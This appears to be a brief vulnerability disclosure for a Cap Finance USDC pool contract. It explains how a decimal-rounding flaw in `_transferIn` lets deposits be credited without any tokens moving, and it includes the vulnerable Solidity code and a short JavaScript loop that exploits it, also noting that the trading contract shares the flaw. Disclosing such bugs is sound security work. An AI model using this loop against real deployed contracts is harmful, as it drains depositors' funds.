---
# System prepended metadata

title: Cap Finance USDC pool exploit

---

Cap Finance USDC pool exploit
===

The exploit affects the `transferIn(uint256)` where the decimals are < 18. In this example case, usdc has decimals of 6 which leaves a 12 decimal number to be passed into this function to result in `amount` being rounded to 0.

```bash=
function _transferIn(uint256 amount) internal {
		// adjust decimals
		uint256 decimals = IRouter(router).getDecimals(currency);
		amount = amount * (10**decimals) / UNIT; // <HERE>
		IERC20(currency).safeTransferFrom(msg.sender, address(this), amount);
	}
    
    function deposit(uint256 amount) external payable {

		uint256 lastBalance = _getCurrentBalance();

		if (currency == address(0)) {
			amount = msg.value;
			lastBalance -= amount;
		} else {
			_transferIn(amount); // <HERE>
		}

		require(amount > 0, "!amount");
		require(amount + lastBalance <= maxCap, "!max-cap");

        uint256 clpAmountToMint = lastBalance == 0 || totalSupply == 0 ? amount : amount * totalSupply / lastBalance;

        lastDeposited[msg.sender] = block.timestamp;

        IRewards(rewards).updateRewards(msg.sender);

        totalSupply += clpAmountToMint;
        balances[msg.sender] += clpAmountToMint;

        emit Deposit(
        	msg.sender,
        	currency,
        	amount,
        	clpAmountToMint
        );

	}

```

This can be exploited by simply calling the deposit function repeatedly with either a multicall or in a for loop as to accumulate deposits without transfering the required tokens.


```bash=
for (let i=0;i<100;i++){
      await usdcPool.deposit("999999999999");
    }
```

### Trading contract 

Since the trading contract also uses the same implementation of the `_transferIn(uint256)` function. Depending on the collateral asset's decimals the user will have up to 12 decimals free to deposit while not actually transfering the assets to the trading contract as collateral.

